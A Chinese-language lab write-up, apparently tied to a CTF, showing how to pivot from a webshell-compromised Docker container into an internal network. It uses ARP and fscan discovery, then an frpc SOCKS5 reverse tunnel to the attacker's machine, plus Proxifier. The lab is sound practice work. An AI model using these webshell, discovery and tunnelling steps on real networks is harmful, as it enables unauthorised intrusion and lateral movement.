frp内网穿透

在长沙农大一次线下赛时,只给到了一台机器的ip;其他机器都是在内网之中,外网访问不到,需要通过给的一台机器来内网穿透到其他内网机器;当时打比赛也想到了这一点。可惜的是,我刚准备上传frp工具时,才发现我只下载了windows版本;当时疏忽大意,没有准备frp的linux版本;(当然内网穿透的工具还有很多);现在想想还挺可惜的;趁着寒假没事做,重新复现一下frp如何内网穿透;

实验环境:

​ windows11;kali;docker;

实验内容:

​ 在kali上使用docker开启两个容器,一个容器A通过端口转发使得window可以通过kali的ip加转发的端口访问,另一个容器B不做任何转发,

实验目的:

​ 使得windows通过容器A使用frp工具内网穿透到可以访问容器B;

我比较懒,两个容器用的是同一个镜像;frp_one则是容器A的作用,实现端口转发;frp_two则是容器B的作用;

通过kali的ip加转发的端口访问,内容就是一句话木马(还是之前实验室内部考核赛的镜像),容器内容无所谓的,只要方便连蚁剑就行;

直接用蚁剑连接

当不知道内网其他机器的ip时,可以先通过自己手动内网搜集,来确定其他ip地址,比如/proc/net/arp(当与其他机器通信时,arp协议会记录对方的ip和mac地址);

1
2
3
4
www-data:/var/www/html) $ cat /proc/net/arp
IP address HW type Flags HW address Mask Device
172.17.0.1 0x1 0x2 02:42:91:ca:3b:2a * eth0
172.17.0.3 0x1 0x2 02:42:ac:11:00:03 * eth0

当然也可以借用fscan等工具;利用蚁剑上传;

1
./fscan_amd64 -h 172.17.0.1/24
1
2
3
4
5
6
172.17.0.2:80 open
172.17.0.3:80 open
172.17.0.1:8080 open
[*] WebTitle: http://172.17.0.2 code:200 len:758 title:None
[*] WebTitle: http://172.17.0.3 code:200 len:758 title:None
[*] WebTitle: http://172.17.0.1:8080 code:200 len:758 title:None

通过以上介绍的两种方法可以确定内网中还存在一个ip172.17.0.3并且这个ip开放着80端口;

我们尝试通过frp工具来内网穿透,以致于可以访问172.17.0.3:80;

上传frp成功后;修改frpc.ini配置如下;server_addr根据情况而定,我这里是因为我的攻击机windows的地址是192.168.0.55;因为当时比赛不可以联网,只能将宿主机,也就是windows当作代理服务器,如果可以联网,将自己的vps当作代理服务器即可

1
2
3
4
5
6
7
8
[common]
server_addr = 192.168.0.55
server_port = 7000

[socks5]
type = tcp
plugin = socks5
remote_port = 5000

修改成功后,给frpc加可执行权限

1
chmod +x ./frpc

并执行

1
./frpc -c frpc.ini

然后再攻击机windows上执行

1
frps -c frps.ini

可以看到success,代表成功了。让我们用浏览器访问一下;

当然浏览器还不可以直接访问,需要借助代理插件,firefox最常用的莫非就是FoxyProxy了,当然chrome浏览器也有对应的插件;

配置大概如下

接着浏览器输入,即可访问成功了,(我这里两个容器用的是一个镜像,内容是一样的);

1
http://172.17.0.3/

到这里利用frp实现内网穿透的实验基本就做完了,当然,在实战中,情况是千变万化的;面对不同的情况需要做出相应的改变;

可以看到,内网穿透的实现基本是借用工具完成的;并没有让我们敲很多代码啥的;

这里接着介绍一款工具:proxifier

具体功能:允许用户无需对每个应用程序进行单独的配置,就能通过代理服务器或防火墙进行网络连接,因而受到广泛欢迎。

在一些情况下,我们可能需要借助python的脚本从而实现攻击;这种情况简直太常见了,我们怎么使python通过代理可以访问内网穿透的靶机了,这就需要借助proxifier工具

这样设置,所有应用都会走我们设置的代理,如果你希望一些应用不走代理,只需要对应设置一下代理规则即可,

1
2
3
4
5
6
7
8
9
10
11
import requests

url = "http://172.17.0.3/"

response = requests.get(url=url)

if (response.status_code == 200):
print("success")
else:
print("fail")
#success

开启proxifier;即使我的Chrome没有开启frp代理,依然可以访问;

注意:proxifier最好使用Standard版本;不要使用Portable版本;可能会有问题(一开始我用Portable版本,即使代理规则和代理服务器没有错误,python和其他应用程序始终访问不了172.17.0.3,直到换成Standard版本);

到这里,frp+proxifier内网穿透的笔记已经记录完成,但是需要注意的是,我这个实验比较简单,在实战中,往往没有这么简单,需要冷静分析,从而到达效果。